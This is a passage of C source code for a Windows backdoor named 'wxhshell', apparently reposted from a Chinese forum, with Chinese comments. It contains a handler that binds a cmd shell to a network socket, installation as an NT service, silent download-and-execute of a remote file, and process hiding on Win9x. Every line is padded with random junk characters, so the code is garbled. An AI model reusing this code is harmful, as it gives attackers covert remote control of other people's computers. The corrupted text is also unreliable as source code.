    if(Boot(SHUTDOWN)) ?c+_}ja,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J1 a/U@"  
    else { lHV bn7  
    closesocket(wsh); <o3e0JCq  
    ExitThread(0); it ,i^32|  
    } Jq l#z/z  
    break; =~?2i)-mC  
    } ?M;2H {KG:  
  // 获取shell ^p|MkB?uM  
  case 's': { gPT-zul  
    CmdShell(wsh); 245(ajxHC  
    closesocket(wsh); bkceR>h%  
    ExitThread(0); {K09U^JU  
    break; @7" xDgA  
  } yj `b-^$?  
  // 退出 M9_ y>N[0  
  case 'x': { mF%>pj&b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H(lq=M0~  
    CloseIt(wsh); ..Zuy|?w  
    break; b DeHU$  
    } !Q*.Dw()[  
  // 离开 9FP6Z[4  
  case 'q': { ' 6Ybf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); S s@\'K3e  
    closesocket(wsh);  PQa {5"  
    WSACleanup(); KX"?3#U#Fm  
    exit(1); t*.O >$[  
    break; o`+6E q0w  
        } XK`>#*"V  
  } yXh=~:1~  
  } (i.MxG Dd  
5H6m{ng  
  // 提示信息 0F1 a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); drBWo|/  
} `a ["`N^  
  } lV?rC z  
)xiic3F  
  return; H\Y.l,^  
} )p~\lM}?d  
d0Py[37V  
// shell模块句柄 7Z0 )k9*  
int CmdShell(SOCKET sock) ~Hd{+0  
{ k v,'9z  
STARTUPINFO si; >5% o9$|z  
ZeroMemory(&si,sizeof(si)); `pn]jpW9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ua/A &XQx  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ecA:y!N  
PROCESS_INFORMATION ProcessInfo; g:dw%h  
char cmdline[]="cmd"; "w*VyD  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); z\pT nteO  
  return 0; NN\% X3ri"  
} lf4-Ci*X  
05g U~6AF  
// 自身启动模式 D(Pd?iQIO  
int StartFromService(void) MG*#-<OV.  
{ (*;b\h  
typedef struct we4e>)  
{ 8Focs p2  
  DWORD ExitStatus; TbXp%O:[W  
  DWORD PebBaseAddress; )TP 1i  
  DWORD AffinityMask; -;a}'1HOE  
  DWORD BasePriority; [<}:b>a  
  ULONG UniqueProcessId; 2o] V q  
  ULONG InheritedFromUniqueProcessId; .>zXz%p  
}   PROCESS_BASIC_INFORMATION; cWl  
W2O =dG`  
PROCNTQSIP NtQueryInformationProcess; Lco JltY{5  
Om0Z\GP=  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |g;hXr#~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?SK1*; i  
j5Vyo>  
  HANDLE             hProcess; b] DF7 U  
  PROCESS_BASIC_INFORMATION pbi; %`F6>J  
^Y8?iC<+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b6RuYwHWV0  
  if(NULL == hInst ) return 0; {VE\}zKF  
#~^#%G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y#F( xm+L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -8-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #(j'?|2o%  
- K0>^2hh  
  if (!NtQueryInformationProcess) return 0; jutEb@nog  
c/DB"_}!a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1\z5[ _  
  if(!hProcess) return 0; 1.+0=M[h  
3lcd:=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Z `sM(?m  
?x7zYE,6  
  CloseHandle(hProcess); &W`."  
fW~r%u .y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QFY1@2EC  
if(hProcess==NULL) return 0; 5%,J@&5G s  
y2;uG2IS_g  
HMODULE hMod; ,j>A[e&.  
char procName[255]; @;_xFL;{g  
unsigned long cbNeeded; 5,cq-`  
Cp`)*P2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Eyv%"+>  
R*VRxQ,h6+  
  CloseHandle(hProcess); 0"o%=i;  
kG@~;*;l  
if(strstr(procName,"services")) return 1; // 以服务启动 KV0M^B|W  
btoye \ rl  
  return 0; // 注册表启动 XZde}zUWn  
} ~,3+]ts='\  
:c[iS~ ~Y  
// 主模块 Z`y%#B6x.  
int StartWxhshell(LPSTR lpCmdLine) Y> ElE-  
{ !LB#K?I  
  SOCKET wsl; ;)].Dj9  
BOOL val=TRUE;  G`8i{3:  
  int port=0; m%hI@'  
  struct sockaddr_in door; nb::,  
]awu7}C9Z  
  if(wscfg.ws_autoins) Install(); luXcr H+w  
M:K5r7Q!yv  
port=atoi(lpCmdLine); mj:X'BVA  
@px2/x  
if(port<=0) port=wscfg.ws_port; K,(37Id'  
Kq& b1x  
  WSADATA data; W: R2e2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  -i*{8t  
RG[b+Qjn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qp$Td<'Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Qau\6p>^  
  door.sin_family = AF_INET;  #~QkS_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xc{$=>'G  
  door.sin_port = htons(port); m%au* 0p  
"=8= G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uflRW+-2  
closesocket(wsl); Mtxn@m{i;"  
return 1; x.W93e[]H  
} ;U$Fz~rJ  
4+46z|  
  if(listen(wsl,2) == INVALID_SOCKET) { n1n->l*HGP  
closesocket(wsl); s\&qvL1D  
return 1; }\Kki  
} ukNB#2 "  
  Wxhshell(wsl); .rpKSf.  
  WSACleanup(); is`O,Met  
:+Ti^FF`w  
return 0; r0jhIE#  
 {}x{OP  
} ~Y;_vU  
H|@R+  
// 以NT服务方式启动 $}_a`~u  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :+u K1N  
{ %*J'!PC9n  
DWORD   status = 0; 0P)"_x_  
  DWORD   specificError = 0xfffffff; 6[wAX  
/DLgE7iU%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cl3@+v1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $7\Al$W\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &IYSoA"Nz  
  serviceStatus.dwWin32ExitCode     = 0; cvSr><(  
  serviceStatus.dwServiceSpecificExitCode = 0; O$SQzLZx&  
  serviceStatus.dwCheckPoint       = 0; CjeAO 2  
  serviceStatus.dwWaitHint       = 0; `wrN$&  
+2X q+P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); wP-BaB$_  
  if (hServiceStatusHandle==0) return; Y243mq-  
i_<Uk8  
status = GetLastError(); R/5@*mv{  
  if (status!=NO_ERROR) P:Nj;Cxh  
{ Y9^;TQ+#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; xn1=@0 a  
    serviceStatus.dwCheckPoint       = 0; ZDffR: An  
    serviceStatus.dwWaitHint       = 0; Km/#\$|}  
    serviceStatus.dwWin32ExitCode     = status; |,ws3  
    serviceStatus.dwServiceSpecificExitCode = specificError; 8<#S:O4kA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); oY;=$8y<q  
    return; ?-.Qv1hs6p  
  } bSbUf%LKt  
slPLc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t^ax:6;"|  
  serviceStatus.dwCheckPoint       = 0;  a@mMa {  
  serviceStatus.dwWaitHint       = 0; N5]}m:"pk  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'UW]~  
} g+ZQ6Hz  
<Wz+f+HC  
// 处理NT服务事件,比如:启动、停止 )2lzPK t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 22`N(_  
{ .|d2s  
switch(fdwControl) H<YhO&D*u  
{ Ic!8$NhRS  
case SERVICE_CONTROL_STOP: ;`CNe$y   
  serviceStatus.dwWin32ExitCode = 0; T1Gy_ G/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; FEoH$.4  
  serviceStatus.dwCheckPoint   = 0; ;giW  
  serviceStatus.dwWaitHint     = 0; e3YdHp  
  { I{rW+<)QGC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wa{()Cz  
  } 85fv])\y  
  return; &i/QFO7y}  
case SERVICE_CONTROL_PAUSE: WJXQM[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;`p!/9il  
  break; %+A z X  
case SERVICE_CONTROL_CONTINUE: Lc0yLm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; xW hi>  
  break; a d,0*(</  
case SERVICE_CONTROL_INTERROGATE: t93iU?Z  
  break; wfE%` 1  
}; ;8VvpO^G/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PR{y84$  
} (K"8kQLY  
=5 zx]N1r  
// 标准应用程序主函数 RMrrLT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,sn/FT^; q  
{ b0vbE8wa  
@-g'BvS  
// 获取操作系统版本 k-~HUC.A.  
OsIsNt=GetOsVer(); z'9Mg]&>  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cag9f?w@V  
zc,kHO|  
  // 从命令行安装 T d6Gu"  
  if(strpbrk(lpCmdLine,"iI")) Install(); fD>0  
_mi(:s(  
  // 下载执行文件 fxR}a,a  
if(wscfg.ws_downexe) { $ 2/T]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,vN0Jpf}\8  
  WinExec(wscfg.ws_filenam,SW_HIDE); \q |n0>  
} c2$&pZ M  
A&dNCB  
if(!OsIsNt) { MZ/PXY  
// 如果时win9x,隐藏进程并且设置为注册表启动 `U~Y{f_!H  
HideProc(); $AI0&#NM  
StartWxhshell(lpCmdLine); bM%c*_$F7  
} lMcSe8LBQa  
else vW\|% @hW,  
  if(StartFromService()) [u=DAk?8  
  // 以服务方式启动 K9BoIHo  
  StartServiceCtrlDispatcher(DispatchTable); rwRb _eIj  
else 5[1#d\QR  
  // 普通方式启动 K% Gbl#  
  StartWxhshell(lpCmdLine); y 8./)W&/  
`6t3D&.u0  
return 0; Q<e`0cu|p  
}
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只看该作者 1 发表于: 2006-08-21
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